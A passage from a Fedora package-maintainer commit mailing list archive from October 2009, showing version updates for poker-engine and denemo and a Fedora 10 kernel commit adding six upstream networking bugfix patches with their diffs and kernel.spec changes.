===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-10/upstream,v
retrieving revision 1.834.2.24
retrieving revision 1.834.2.25
diff -u -p -r1.834.2.24 -r1.834.2.25
--- upstream	5 Oct 2009 21:42:18 -0000	1.834.2.24
+++ upstream	11 Oct 2009 21:02:52 -0000	1.834.2.25
@@ -1,3 +1,4 @@
 linux-2.6.27.tar.bz2
 patch-2.6.27.36.bz2
+patch-2.6.27.37-rc1.bz2
 


--- ecryptfs-prevent-lower-dentry-from-going-negative-during-unlink.patch DELETED ---


--- kvm-x86-disallow-hypercalls-for-guest-callers-in-rings-0.patch DELETED ---


--- x86-dont-leak-64-bit-kernel-register-values.patch DELETED ---


--- x86-increase-min_gap-to-include-randomized-stack.patch DELETED ---


--- x86-streamline-32-bit-syscall-entry-code.patch DELETED ---



From xulchris at fedoraproject.org  Sun Oct 11 21:11:35 2009
From: xulchris at fedoraproject.org (xulchris)
Date: Sun, 11 Oct 2009 21:11:35 +0000 (UTC)
Subject: rpms/poker-engine/F-10 .cvsignore, 1.16, 1.17 poker-engine.spec,
	1.25, 1.26 sources, 1.16, 1.17
Message-ID: <20091011211135.7039911C00EC@cvs1.fedora.phx.redhat.com>

Author: xulchris

Update of /cvs/pkgs/rpms/poker-engine/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19587/F-10

Modified Files:
	.cvsignore poker-engine.spec sources 
Log Message:
upstream sync


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/poker-engine/F-10/.cvsignore,v
retrieving revision 1.16
retrieving revision 1.17
diff -u -p -r1.16 -r1.17
--- .cvsignore	2 Jan 2009 05:44:11 -0000	1.16
+++ .cvsignore	11 Oct 2009 21:11:34 -0000	1.17
@@ -1 +1 @@
-poker-engine-1.3.2.tar.gz
+poker-engine-1.3.4.tar.gz


Index: poker-engine.spec
===================================================================
RCS file: /cvs/pkgs/rpms/poker-engine/F-10/poker-engine.spec,v
retrieving revision 1.25
retrieving revision 1.26
diff -u -p -r1.25 -r1.26
--- poker-engine.spec	2 Jan 2009 05:44:11 -0000	1.25
+++ poker-engine.spec	11 Oct 2009 21:11:34 -0000	1.26
@@ -1,7 +1,7 @@
 %{!?python_sitelib: %define python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}
 
 Name:           poker-engine
-Version:        1.3.2
+Version:        1.3.4
 Release:        1%{?dist}
 Summary:        Python library that implements poker rules
 
@@ -72,6 +72,15 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Sun Oct 11 2009 Christopher Stone <chris.stone at gmail.com> 1.3.4-1
+- Upstream sync
+
+* Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.3.2-3
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
+* Thu Feb 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.3.2-2
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild
+
 * Thu Jan 01 2009 Christopher Stone <chris.stone at gmail.com> 1.3.2-1
 - Upstream sync
 - Add new BR procps for make check


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/poker-engine/F-10/sources,v
retrieving revision 1.16
retrieving revision 1.17
diff -u -p -r1.16 -r1.17
--- sources	2 Jan 2009 05:44:11 -0000	1.16
+++ sources	11 Oct 2009 21:11:34 -0000	1.17
@@ -1 +1 @@
-4614a68ba0ee765e76ea958bdc2c0780  poker-engine-1.3.2.tar.gz
+8492edac05ea2341b50d06c1056e2847  poker-engine-1.3.4.tar.gz



From xulchris at fedoraproject.org  Sun Oct 11 21:11:35 2009
From: xulchris at fedoraproject.org (xulchris)
Date: Sun, 11 Oct 2009 21:11:35 +0000 (UTC)
Subject: rpms/poker-engine/F-11 .cvsignore, 1.16, 1.17 poker-engine.spec,
	1.27, 1.28 sources, 1.16, 1.17
Message-ID: <20091011211135.816B211C0260@cvs1.fedora.phx.redhat.com>

Author: xulchris

Update of /cvs/pkgs/rpms/poker-engine/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19587/F-11

Modified Files:
	.cvsignore poker-engine.spec sources 
Log Message:
upstream sync


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/poker-engine/F-11/.cvsignore,v
retrieving revision 1.16
retrieving revision 1.17
diff -u -p -r1.16 -r1.17
--- .cvsignore	2 Jan 2009 05:44:12 -0000	1.16
+++ .cvsignore	11 Oct 2009 21:11:35 -0000	1.17
@@ -1 +1 @@
-poker-engine-1.3.2.tar.gz
+poker-engine-1.3.4.tar.gz


Index: poker-engine.spec
===================================================================
RCS file: /cvs/pkgs/rpms/poker-engine/F-11/poker-engine.spec,v
retrieving revision 1.27
retrieving revision 1.28
diff -u -p -r1.27 -r1.28
--- poker-engine.spec	27 Feb 2009 01:21:33 -0000	1.27
+++ poker-engine.spec	11 Oct 2009 21:11:35 -0000	1.28
@@ -1,8 +1,8 @@
 %{!?python_sitelib: %define python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}
 
 Name:           poker-engine
-Version:        1.3.2
-Release:        2%{?dist}
+Version:        1.3.4
+Release:        1%{?dist}
 Summary:        Python library that implements poker rules
 
 Group:          Development/Libraries
@@ -72,6 +72,12 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Sun Oct 11 2009 Christopher Stone <chris.stone at gmail.com> 1.3.4-1
+- Upstream sync
+
+* Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.3.2-3
+- Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
+
 * Thu Feb 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.3.2-2
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_11_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/poker-engine/F-11/sources,v
retrieving revision 1.16
retrieving revision 1.17
diff -u -p -r1.16 -r1.17
--- sources	2 Jan 2009 05:44:12 -0000	1.16
+++ sources	11 Oct 2009 21:11:35 -0000	1.17
@@ -1 +1 @@
-4614a68ba0ee765e76ea958bdc2c0780  poker-engine-1.3.2.tar.gz
+8492edac05ea2341b50d06c1056e2847  poker-engine-1.3.4.tar.gz



From xulchris at fedoraproject.org  Sun Oct 11 21:11:36 2009
From: xulchris at fedoraproject.org (xulchris)
Date: Sun, 11 Oct 2009 21:11:36 +0000 (UTC)
Subject: rpms/poker-engine/F-12 .cvsignore, 1.16, 1.17 poker-engine.spec,
	1.28, 1.29 sources, 1.16, 1.17
Message-ID: <20091011211136.22FF111C00EC@cvs1.fedora.phx.redhat.com>

Author: xulchris

Update of /cvs/pkgs/rpms/poker-engine/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19587/F-12

Modified Files:
	.cvsignore poker-engine.spec sources 
Log Message:
upstream sync


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/poker-engine/F-12/.cvsignore,v
retrieving revision 1.16
retrieving revision 1.17
diff -u -p -r1.16 -r1.17
--- .cvsignore	2 Jan 2009 05:44:12 -0000	1.16
+++ .cvsignore	11 Oct 2009 21:11:35 -0000	1.17
@@ -1 +1 @@
-poker-engine-1.3.2.tar.gz
+poker-engine-1.3.4.tar.gz


Index: poker-engine.spec
===================================================================
RCS file: /cvs/pkgs/rpms/poker-engine/F-12/poker-engine.spec,v
retrieving revision 1.28
retrieving revision 1.29
diff -u -p -r1.28 -r1.29
--- poker-engine.spec	26 Jul 2009 19:03:16 -0000	1.28
+++ poker-engine.spec	11 Oct 2009 21:11:35 -0000	1.29
@@ -1,8 +1,8 @@
 %{!?python_sitelib: %define python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}
 
 Name:           poker-engine
-Version:        1.3.2
-Release:        3%{?dist}
+Version:        1.3.4
+Release:        1%{?dist}
 Summary:        Python library that implements poker rules
 
 Group:          Development/Libraries
@@ -72,6 +72,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Sun Oct 11 2009 Christopher Stone <chris.stone at gmail.com> 1.3.4-1
+- Upstream sync
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.3.2-3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/poker-engine/F-12/sources,v
retrieving revision 1.16
retrieving revision 1.17
diff -u -p -r1.16 -r1.17
--- sources	2 Jan 2009 05:44:12 -0000	1.16
+++ sources	11 Oct 2009 21:11:35 -0000	1.17
@@ -1 +1 @@
-4614a68ba0ee765e76ea958bdc2c0780  poker-engine-1.3.2.tar.gz
+8492edac05ea2341b50d06c1056e2847  poker-engine-1.3.4.tar.gz



From xulchris at fedoraproject.org  Sun Oct 11 21:11:36 2009
From: xulchris at fedoraproject.org (xulchris)
Date: Sun, 11 Oct 2009 21:11:36 +0000 (UTC)
Subject: rpms/poker-engine/devel .cvsignore, 1.16, 1.17 poker-engine.spec,
	1.28, 1.29 sources, 1.16, 1.17
Message-ID: <20091011211136.C6DEB11C00EC@cvs1.fedora.phx.redhat.com>

Author: xulchris

Update of /cvs/pkgs/rpms/poker-engine/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19587/devel

Modified Files:
	.cvsignore poker-engine.spec sources 
Log Message:
upstream sync


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/poker-engine/devel/.cvsignore,v
retrieving revision 1.16
retrieving revision 1.17
diff -u -p -r1.16 -r1.17
--- .cvsignore	2 Jan 2009 05:44:12 -0000	1.16
+++ .cvsignore	11 Oct 2009 21:11:36 -0000	1.17
@@ -1 +1 @@
-poker-engine-1.3.2.tar.gz
+poker-engine-1.3.4.tar.gz


Index: poker-engine.spec
===================================================================
RCS file: /cvs/pkgs/rpms/poker-engine/devel/poker-engine.spec,v
retrieving revision 1.28
retrieving revision 1.29
diff -u -p -r1.28 -r1.29
--- poker-engine.spec	26 Jul 2009 19:03:16 -0000	1.28
+++ poker-engine.spec	11 Oct 2009 21:11:36 -0000	1.29
@@ -1,8 +1,8 @@
 %{!?python_sitelib: %define python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}
 
 Name:           poker-engine
-Version:        1.3.2
-Release:        3%{?dist}
+Version:        1.3.4
+Release:        1%{?dist}
 Summary:        Python library that implements poker rules
 
 Group:          Development/Libraries
@@ -72,6 +72,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Sun Oct 11 2009 Christopher Stone <chris.stone at gmail.com> 1.3.4-1
+- Upstream sync
+
 * Sun Jul 26 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 1.3.2-3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/poker-engine/devel/sources,v
retrieving revision 1.16
retrieving revision 1.17
diff -u -p -r1.16 -r1.17
--- sources	2 Jan 2009 05:44:12 -0000	1.16
+++ sources	11 Oct 2009 21:11:36 -0000	1.17
@@ -1 +1 @@
-4614a68ba0ee765e76ea958bdc2c0780  poker-engine-1.3.2.tar.gz
+8492edac05ea2341b50d06c1056e2847  poker-engine-1.3.4.tar.gz



From rrankin at fedoraproject.org  Sun Oct 11 21:41:59 2009
From: rrankin at fedoraproject.org (Roy Rankin)
Date: Sun, 11 Oct 2009 21:41:59 +0000 (UTC)
Subject: rpms/denemo/devel .cvsignore, 1.5, 1.6 denemo.spec, 1.12,
	1.13 sources, 1.5, 1.6
Message-ID: <20091011214159.E92FE11C02A1@cvs1.fedora.phx.redhat.com>

Author: rrankin

Update of /cvs/pkgs/rpms/denemo/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30126

Modified Files:
	.cvsignore denemo.spec sources 
Log Message:
Upgrade to 0.8.8



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/denemo/devel/.cvsignore,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- .cvsignore	29 May 2009 23:41:59 -0000	1.5
+++ .cvsignore	11 Oct 2009 21:41:57 -0000	1.6
@@ -1 +1 @@
-denemo-0.8.4.tar.gz
+denemo-0.8.8.tar.gz


Index: denemo.spec
===================================================================
RCS file: /cvs/pkgs/rpms/denemo/devel/denemo.spec,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- denemo.spec	23 Sep 2009 06:10:24 -0000	1.12
+++ denemo.spec	11 Oct 2009 21:41:58 -0000	1.13
@@ -1,7 +1,7 @@
 Summary: Graphical music notation program
 Name: denemo
-Version: 0.8.4
-Release: 3%{?dist}
+Version: 0.8.8
+Release: 1%{?dist}
 License: GPLv2
 Group: Applications/Multimedia
 Source: http://download.savannah.gnu.org/releases/denemo/%{name}-%{version}.tar.gz
@@ -13,8 +13,8 @@ BuildRoot: %{_tmppath}/%{name}-%{version
 
 BuildRequires: portaudio-devel aubio-devel gtk2-devel guile-devel
 BuildRequires: gettext libxml2-devel fftw-devel desktop-file-utils
-BuildRequires: libtool-ltdl-devel
-BuildRequires: fontpackages-devel
+BuildRequires: libtool-ltdl-devel jack-audio-connection-kit-devel
+BuildRequires: fontpackages-devel lash-devel libsamplerate-devel
 BuildRequires: chrpath
 
 Requires: bug-buddy timidity++
@@ -49,7 +49,7 @@ This font set is used by Denemo.
 %setup -q
 
 %build
-%configure 
+%configure --enable-jack --enable-lash
 make %{?_smp_mflags}
 chrpath -d src/denemo
 chrpath -d libsmf/smfsh
@@ -68,8 +68,7 @@ install -m 0755 -d %{buildroot}%{_fontdi
 mv fonts/LICENSE_OFL.txt LICENSE_OFL.txt
 install -m 0644 -p fonts/*.ttf %{buildroot}%{_fontdir}
 rm -rf %{buildroot}/%{_datadir}/fonts/truetype
-# cleanup file wich should not be in tarfile
-rm  %{buildroot}/%{_datadir}/denemo/actions/menus/ObjectMenu/Score/.EditProlog.swp
+rm -rf %{buildroot}/%{_includedir}
 
 
 %clean
@@ -85,19 +84,21 @@ rm -rf %{buildroot}
 %{_datadir}/applications/denemo.desktop
 %{_bindir}/denemo
 %{_bindir}/smfsh
-%doc COPYING README README.lilypond ChangeLog 
+%doc COPYING README  ChangeLog 
 
 
 
 
 %_font_pkg -n music *.ttf
 %doc LICENSE_OFL.txt
-%dir %{_fontdir}
 
 
 
 
 %changelog
+* Mon Oct 12 2009 Roy Rankin <rrankin at ihug.com.au> - 0.8.8-1
+-Update for Denemo release 0.8.8 
+
 * Wed Sep 23 2009 Orcan Ogetbil <oget[DOT]fedora[AT]gmail[DOT]com> - 0.8.4-3
 - Update desktop file according to F-12 FedoraStudio feature
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/denemo/devel/sources,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- sources	29 May 2009 23:42:00 -0000	1.5
+++ sources	11 Oct 2009 21:41:58 -0000	1.6
@@ -1 +1 @@
-ffc69da14e8ece4e0dd2772424042404  denemo-0.8.4.tar.gz
+d405eff6f83ffbc95146e271f89cf489  denemo-0.8.8.tar.gz



From cebbert at fedoraproject.org  Sun Oct 11 22:08:54 2009
From: cebbert at fedoraproject.org (Chuck Ebbert)
Date: Sun, 11 Oct 2009 22:08:54 +0000 (UTC)
Subject: rpms/kernel/F-10 ax25-fix-possible-oops-in-ax25_make_new.patch, NONE,
	1.1.2.1 net-unix-fix-sending-fds-in-multiple-buffers.patch, NONE,
	1.1.2.1 sit-fix-off-by-one-in-ipip6_tunnel_get_prl.patch, NONE,
	1.1.2.1 sky2-set-sky2_hw_ram_buffer-in-sky2_init.patch, NONE,
	1.1.2.1 tcp-fix-config_tcp_md5sig-config_preempt-timer-bug.patch,
	NONE, 1.1.2.1 x86-fix-csum_ipv6_magic-asm-memory-clobber.patch,
	NONE, 1.1.2.1 kernel.spec, 1.1206.2.100, 1.1206.2.101
Message-ID: <20091011220854.A8C8411C00EC@cvs1.fedora.phx.redhat.com>

Author: cebbert

Update of /cvs/pkgs/rpms/kernel/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8484

Modified Files:
      Tag: private-fedora-10-2_6_27
	kernel.spec 
Added Files:
      Tag: private-fedora-10-2_6_27
	ax25-fix-possible-oops-in-ax25_make_new.patch 
	net-unix-fix-sending-fds-in-multiple-buffers.patch 
	sit-fix-off-by-one-in-ipip6_tunnel_get_prl.patch 
	sky2-set-sky2_hw_ram_buffer-in-sky2_init.patch 
	tcp-fix-config_tcp_md5sig-config_preempt-timer-bug.patch 
	x86-fix-csum_ipv6_magic-asm-memory-clobber.patch 
Log Message:
Networking fixes from 2.6.31-stable:
  ax25-fix-possible-oops-in-ax25_make_new.patch
  net-unix-fix-sending-fds-in-multiple-buffers.patch
  sit-fix-off-by-one-in-ipip6_tunnel_get_prl.patch
  sky2-set-sky2_hw_ram_buffer-in-sky2_init.patch
  tcp-fix-config_tcp_md5sig-config_preempt-timer-bug.patch
  x86-fix-csum_ipv6_magic-asm-memory-clobber.patch

ax25-fix-possible-oops-in-ax25_make_new.patch:
 af_ax25.c |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE ax25-fix-possible-oops-in-ax25_make_new.patch ---
>From fc19457a1971fee7f7e2b7f2346a5f66cfa2867c Mon Sep 17 00:00:00 2001
From: Jarek Poplawski <jarkao2 at gmail.com>
Date: Sun, 27 Sep 2009 10:57:02 +0000
Subject: ax25: Fix possible oops in ax25_make_new

From: Jarek Poplawski <jarkao2 at gmail.com>

[ Upstream commit 8c185ab6185bf5e67766edb000ce428269364c86 ]

In ax25_make_new, if kmemdup of digipeat returns an error, there would
be an oops in sk_free while calling sk_destruct, because sk_protinfo
is NULL at the moment; move sk->sk_destruct initialization after this.

BTW of reported-by: Bernard Pidoux F6BVP <f6bvp at free.fr>

Signed-off-by: Jarek Poplawski <jarkao2 at gmail.com>
Signed-off-by: David S. Miller <davem at davemloft.net>
Signed-off-by: Greg Kroah-Hartman <gregkh at suse.de>
---
 net/ax25/af_ax25.c |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- a/net/ax25/af_ax25.c
+++ b/net/ax25/af_ax25.c
@@ -894,7 +894,6 @@ struct sock *ax25_make_new(struct sock *
 
 	sock_init_data(NULL, sk);
 
-	sk->sk_destruct = ax25_free_sock;
 	sk->sk_type     = osk->sk_type;
 	sk->sk_priority = osk->sk_priority;
 	sk->sk_protocol = osk->sk_protocol;
@@ -932,6 +931,7 @@ struct sock *ax25_make_new(struct sock *
 	}
 
 	sk->sk_protinfo = ax25;
+	sk->sk_destruct = ax25_free_sock;
 	ax25->sk    = sk;
 
 	return sk;

net-unix-fix-sending-fds-in-multiple-buffers.patch:
 af_unix.c |    5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

--- NEW FILE net-unix-fix-sending-fds-in-multiple-buffers.patch ---
>From f599901a049da787808b6df8f876d61bb4ab13b2 Mon Sep 17 00:00:00 2001
From: Miklos Szeredi <mszeredi at suse.cz>
Date: Fri, 11 Sep 2009 11:31:45 -0700
Subject: net: unix: fix sending fds in multiple buffers

From: Miklos Szeredi <mszeredi at suse.cz>

[ Upstream commit 8ba69ba6a324b13e1190fc31e41954d190fd4f1d ]

Kalle Olavi Niemitalo reported that:

  "..., when one process calls sendmsg once to send 43804 bytes of
  data and one file descriptor, and another process then calls recvmsg
  three times to receive the 16032+16032+11740 bytes, each of those
  recvmsg calls returns the file descriptor in the ancillary data.  I
  confirmed this with strace.  The behaviour differs from Linux
  2.6.26, where reportedly only one of those recvmsg calls (I think
  the first one) returned the file descriptor."

This bug was introduced by a patch from me titled "net: unix: fix inflight
counting bug in garbage collector", commit 6209344f5.

And the reason is, quoting Kalle:

  "Before your patch, unix_attach_fds() would set scm->fp = NULL, so
  that if the loop in unix_stream_sendmsg() ran multiple iterations,
  it could not call unix_attach_fds() again.  But now,
  unix_attach_fds() leaves scm->fp unchanged, and I think this causes
  it to be called multiple times and duplicate the same file
  descriptors to each struct sk_buff."

Fix this by introducing a flag that is cleared at the start and set
when the fds attached to the first buffer.  The resulting code should
work equivalently to the one on 2.6.26.

Reported-by: Kalle Olavi Niemitalo <kon at iki.fi>
Signed-off-by: Miklos Szeredi <mszeredi at suse.cz>
Signed-off-by: David S. Miller <davem at davemloft.net>
Signed-off-by: Greg Kroah-Hartman <gregkh at suse.de>
---
 net/unix/af_unix.c |    5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

--- a/net/unix/af_unix.c
+++ b/net/unix/af_unix.c
@@ -1489,6 +1489,7 @@ static int unix_stream_sendmsg(struct ki
 	struct sk_buff *skb;
 	int sent=0;
 	struct scm_cookie tmp_scm;
+	bool fds_sent = false;
 
 	if (NULL == siocb->scm)
 		siocb->scm = &tmp_scm;
@@ -1550,12 +1551,14 @@ static int unix_stream_sendmsg(struct ki
 		size = min_t(int, size, skb_tailroom(skb));
 
 		memcpy(UNIXCREDS(skb), &siocb->scm->creds, sizeof(struct ucred));
-		if (siocb->scm->fp) {
+		/* Only send the fds in the first buffer */
+		if (siocb->scm->fp && !fds_sent) {
 			err = unix_attach_fds(siocb->scm, skb);
 			if (err) {
 				kfree_skb(skb);
 				goto out_err;
 			}
+			fds_sent = true;
 		}
 
 		if ((err = memcpy_fromiovec(skb_put(skb,size), msg->msg_iov, size)) != 0) {

sit-fix-off-by-one-in-ipip6_tunnel_get_prl.patch:
 sit.c |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE sit-fix-off-by-one-in-ipip6_tunnel_get_prl.patch ---
>From a9cb3db986f8bceaa741175cf016b0b7df59caf0 Mon Sep 17 00:00:00 2001
From: Sascha Hlusiak <contact at saschahlusiak.de>
Date: Tue, 29 Sep 2009 11:27:05 +0000
Subject: sit: fix off-by-one in ipip6_tunnel_get_prl

From: Sascha Hlusiak <contact at saschahlusiak.de>

[ Upstream commit 298bf12ddb25841804f26234a43b89da1b1c0e21 ]

When requesting all prl entries (kprl.addr == INADDR_ANY) and there are
more prl entries than there is space passed from userspace, the existing
code would always copy cmax+1 entries, which is more than can be handled.

This patch makes the kernel copy only exactly cmax entries.

Signed-off-by: Sascha Hlusiak <contact at saschahlusiak.de>
Acked-By: Fred L. Templin <Fred.L.Templin at boeing.com>
Signed-off-by: David S. Miller <davem at davemloft.net>
Signed-off-by: Greg Kroah-Hartman <gregkh at suse.de>
---
 net/ipv6/sit.c |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- a/net/ipv6/sit.c
+++ b/net/ipv6/sit.c
@@ -260,7 +260,7 @@ static int ipip6_tunnel_get_prl(struct i
 
 	c = 0;
 	for (prl = t->prl; prl; prl = prl->next) {
-		if (c > cmax)
+		if (c >= cmax)
 			break;
 		if (kprl.addr != htonl(INADDR_ANY) && prl->addr != kprl.addr)
 			continue;

sky2-set-sky2_hw_ram_buffer-in-sky2_init.patch:
 sky2.c |    4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

--- NEW FILE sky2-set-sky2_hw_ram_buffer-in-sky2_init.patch ---
>From c15e9e9c5bf3e5df18ba054050119d084f905499 Mon Sep 17 00:00:00 2001
From: Mike McCormack <mikem at ring3k.org>
Date: Mon, 21 Sep 2009 04:08:52 +0000
Subject: sky2: Set SKY2_HW_RAM_BUFFER in sky2_init

From: Mike McCormack <mikem at ring3k.org>

[ Upstream commit 74a61ebf653c6abe459f228eb40e9f24f7ef1fb7 ]

The SKY2_HW_RAM_BUFFER bit in hw->flags was checked in sky2_mac_init(),
 before being set later in sky2_up().

Setting SKY2_HW_RAM_BUFFER in sky2_init() where other hw->flags are set
 should avoid this problem recurring.

Signed-off-by: Mike McCormack <mikem at ring3k.org>
Acked-by: Stephen Hemminger <shemminger at vyatta.com>
Signed-off-by: David S. Miller <davem at davemloft.net>
Signed-off-by: Greg Kroah-Hartman <gregkh at suse.de>
---
 drivers/net/sky2.c |    4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

--- a/drivers/net/sky2.c
+++ b/drivers/net/sky2.c
@@ -1438,7 +1438,6 @@ static int sky2_up(struct net_device *de
 	if (ramsize > 0) {
 		u32 rxspace;
 
-		hw->flags |= SKY2_HW_RAM_BUFFER;
 		pr_debug(PFX "%s: ram buffer %dK\n", dev->name, ramsize);
 		if (ramsize < 16)
 			rxspace = ramsize / 2;
@@ -2846,6 +2845,9 @@ static int __devinit sky2_init(struct sk
 			++hw->ports;
 	}
 
+	if (sky2_read8(hw, B2_E_0))
+		hw->flags |= SKY2_HW_RAM_BUFFER;
+
 	return 0;
 }
 

tcp-fix-config_tcp_md5sig-config_preempt-timer-bug.patch:
 tcp_minisocks.c |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- NEW FILE tcp-fix-config_tcp_md5sig-config_preempt-timer-bug.patch ---
>From 362d5749032d6426162f3e545ad353a40f2f0d97 Mon Sep 17 00:00:00 2001
From: Robert Varga <nite at hq.alert.sk>
Date: Tue, 15 Sep 2009 23:49:21 -0700
Subject: tcp: fix CONFIG_TCP_MD5SIG + CONFIG_PREEMPT timer BUG()

From: Robert Varga <nite at hq.alert.sk>

[ Upstream commit 657e9649e745b06675aa5063c84430986cdc3afa ]

I have recently came across a preemption imbalance detected by:

<4>huh, entered ffffffff80644630 with preempt_count 00000102, exited with 00000101?
<0>------------[ cut here ]------------
<2>kernel BUG at /usr/src/linux/kernel/timer.c:664!
<0>invalid opcode: 0000 [1] PREEMPT SMP

with ffffffff80644630 being inet_twdr_hangman().

This appeared after I enabled CONFIG_TCP_MD5SIG and played with it a
bit, so I looked at what might have caused it.

One thing that struck me as strange is tcp_twsk_destructor(), as it
calls tcp_put_md5sig_pool() -- which entails a put_cpu(), causing the
detected imbalance. Found on 2.6.23.9, but 2.6.31 is affected as well,
as far as I can tell.

Signed-off-by: Robert Varga <nite at hq.alert.sk>
Signed-off-by: David S. Miller <davem at davemloft.net>
Signed-off-by: Greg Kroah-Hartman <gregkh at suse.de>
---
 net/ipv4/tcp_minisocks.c |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- a/net/ipv4/tcp_minisocks.c
+++ b/net/ipv4/tcp_minisocks.c
@@ -362,7 +362,7 @@ void tcp_twsk_destructor(struct sock *sk
 #ifdef CONFIG_TCP_MD5SIG
 	struct tcp_timewait_sock *twsk = tcp_twsk(sk);
 	if (twsk->tw_md5_keylen)
-		tcp_put_md5sig_pool();
+		tcp_free_md5sig_pool();
 #endif
 }
 

x86-fix-csum_ipv6_magic-asm-memory-clobber.patch:
 checksum_32.h |    3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

--- NEW FILE x86-fix-csum_ipv6_magic-asm-memory-clobber.patch ---
>From 392d814daf460a9564d29b2cebc51e1ea34e0504 Mon Sep 17 00:00:00 2001
From: Samuel Thibault <samuel.thibault at ens-lyon.org>
Date: Thu, 1 Oct 2009 15:44:02 -0700
Subject: x86: fix csum_ipv6_magic asm memory clobber

From: Samuel Thibault <samuel.thibault at ens-lyon.org>

commit 392d814daf460a9564d29b2cebc51e1ea34e0504 upstream.

Just like ip_fast_csum, the assembly snippet in csum_ipv6_magic needs a
memory clobber, as it is only passed the address of the buffer, not a
memory reference to the buffer itself.

This caused failures in Hurd's pfinetv4 when we tried to compile it with
gcc-4.3 (bogus checksums).

Signed-off-by: Samuel Thibault <samuel.thibault at ens-lyon.org>
Cc: Ingo Molnar <mingo at elte.hu>
Cc: Thomas Gleixner <tglx at linutronix.de>
Cc: "H. Peter Anvin" <hpa at zytor.com>
Acked-by: "David S. Miller" <davem at davemloft.net>
Cc: Andi Kleen <andi at firstfloor.org>
Signed-off-by: Andrew Morton <akpm at linux-foundation.org>
Signed-off-by: Linus Torvalds <torvalds at linux-foundation.org>
Signed-off-by: Greg Kroah-Hartman <gregkh at suse.de>

---
 arch/x86/include/asm/checksum_32.h |    3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

--- a/include/asm-x86/checksum_32.h
+++ b/include/asm-x86/checksum_32.h
@@ -161,7 +161,8 @@ static inline __sum16 csum_ipv6_magic(co
 	    "adcl $0, %0	;\n"
 	    : "=&r" (sum)
 	    : "r" (saddr), "r" (daddr),
-	      "r" (htonl(len)), "r" (htonl(proto)), "0" (sum));
+	      "r" (htonl(len)), "r" (htonl(proto)), "0" (sum)
+	    : "memory");
 
 	return csum_fold(sum);
 }


Index: kernel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-10/kernel.spec,v
retrieving revision 1.1206.2.100
retrieving revision 1.1206.2.101
diff -u -p -r1.1206.2.100 -r1.1206.2.101
--- kernel.spec	11 Oct 2009 21:02:52 -0000	1.1206.2.100
+++ kernel.spec	11 Oct 2009 22:08:52 -0000	1.1206.2.101
@@ -784,7 +784,15 @@ Patch15001: linux-2.6-ppc64-vs-broadcom-
 Patch15002: linux-2.6-ppc64-vs-broadcom-lmb-no-init-2.patch
 
 # appletalk: fix skb leak (CVE-2009-2903)
-Patch15200: appletalk-fix-skb-leak-when-ipddp-interface-is-not-loaded.patch
+Patch15100: appletalk-fix-skb-leak-when-ipddp-interface-is-not-loaded.patch
+
+# Networking fixes from 2.6.31-stable:
+Patch15200: ax25-fix-possible-oops-in-ax25_make_new.patch
+Patch15210: net-unix-fix-sending-fds-in-multiple-buffers.patch
+Patch15220: sit-fix-off-by-one-in-ipip6_tunnel_get_prl.patch
+Patch15230: sky2-set-sky2_hw_ram_buffer-in-sky2_init.patch
